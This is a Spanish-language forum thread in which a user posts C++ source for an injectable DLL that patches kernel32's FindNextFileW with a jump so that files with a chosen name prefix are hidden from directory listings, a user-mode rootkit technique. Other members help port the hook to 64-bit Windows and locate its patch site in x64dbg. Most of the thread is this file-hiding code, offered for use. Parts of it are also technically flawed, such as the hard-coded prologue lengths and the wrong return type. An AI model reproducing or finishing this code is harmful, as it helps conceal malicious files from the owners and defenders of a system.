[AYUDA] DLL

Iniciado por Natalia94x, 21 Marzo 2017, 19:05 PM

0 Miembros y 1 Visitante están viendo este tema.

Natalia94x

Tengo un problema  la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor.


Código (cpp) [Seleccionar]
// ------------------------ DLL API HOOK EN ->  FindNextFileW Y FindFirstFileW ---------------------------

#include "stdafx.h"
#include <windows.h>
#include <iostream>


// DECLARACIONES:
BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "Archivo";   // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect
BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW

// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);


// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}



BloodSharp

Cita de: Natalia94x en 21 Marzo 2017, 19:05 PM
Tengo un problema  la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor.

Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud...


B#



Natalia94x

Cita de: BloodSharp en 21 Marzo 2017, 20:22 PM
Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud...


B#
Hola BloodSharp Gracias por responder, resulta que estoy recién empezando en este tema de las apis, me podrias ayudar un poco más , para llegar a solucionar el salto del hook. y desde luego muchas gracias SALUDOS.

Natalia94x

Código (cpp) [Seleccionar]
#include "stdafx.h"
#include <windows.h>
#include <iostream>


// DECLARACIONES:
BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "Arquivo_";   // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect
BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW

// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);


// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}


acabo de compilar el codigo x64 bits y me lanza 2 errores;

Código (cpp) [Seleccionar]
// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85

    // Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102




1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos

Alguien sabe porque pasa eso?

COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10

MAFUS

Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.

Natalia94x

Cita de: MAFUS en 21 Marzo 2017, 23:15 PM
Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.
Gracias por responder , y si exactamente ese era el problema pero ya lo había solucionado , de todos modos muchas gracias. Ahora me falta solucionar el salto del hook, tú sabes algo de eso? Saludos. y Muchas gracias.

BloodSharp

Cita de: Natalia94x en 21 Marzo 2017, 22:15 PM(...)acabo de compilar el codigo x64 bits y me lanza 2 errores;

Código (cpp) [Seleccionar]
// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85

    // Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102




1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos

Alguien sabe porque pasa eso?

COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10

Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits)....

Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con "signo" (signed int en este caso), manejando sin signo ("unsigned tipo") vas a poder evitar este tipo de advertencias...

Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear...



B#



Natalia94x

#7
Cita de: BloodSharp en 21 Marzo 2017, 23:35 PM
Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits)....

Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con "signo" (signed int en este caso), manejando sin signo ("unsigned tipo") vas a poder evitar este tipo de advertencias...

Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear...



B#
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen:

http://imgur.com/a/qemjl

Mi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW,  y sesupone que necesito 5 bytes más para poder colocar el salto hay,  Gracias nuevamente por ayudarme , SALUDOS!.

BloodSharp

Cita de: Natalia94x en 22 Marzo 2017, 02:35 AM
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen:

http://imgur.com/a/qemjl

Mi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW,  y sesupone que necesito 5 bytes más para poder colocar el salto hay,  Gracias nuevamente por ayudarme , SALUDOS!.

Ahí no, ese es el salto de la import table del bloc de notas... y estás en el módulo notepad.exe, tenés que estar en kernel32.dll... Tienes que tener el desamblador del x64dbg justo en las instrucciones donde están en el cuadro de la previsualización pequeña.

CTRL+G --> kernel32.dll.FindNextFileW


B#



Natalia94x

#9
Cita de: BloodSharp en 23 Marzo 2017, 14:46 PM
Ahí no, ese es el salto de la import table del bloc de notas... y estás en el módulo notepad.exe, tenés que estar en kernel32.dll... Tienes que tener el desamblador del x64dbg justo en las instrucciones donde están en el cuadro de la previsualización pequeña.

CTRL+G --> kernel32.dll.FindNextFileW


B#

BloodSharp Gracias nuevamente por responder, me podrias brindar más ayuda pero con fotos? es que soy muy nueva en APIS , estoy recien empezando en las apis , espero que me entiendas y que me puedas ayudar, Gracias nuevamente espero tu respuesta , SALUDOS!..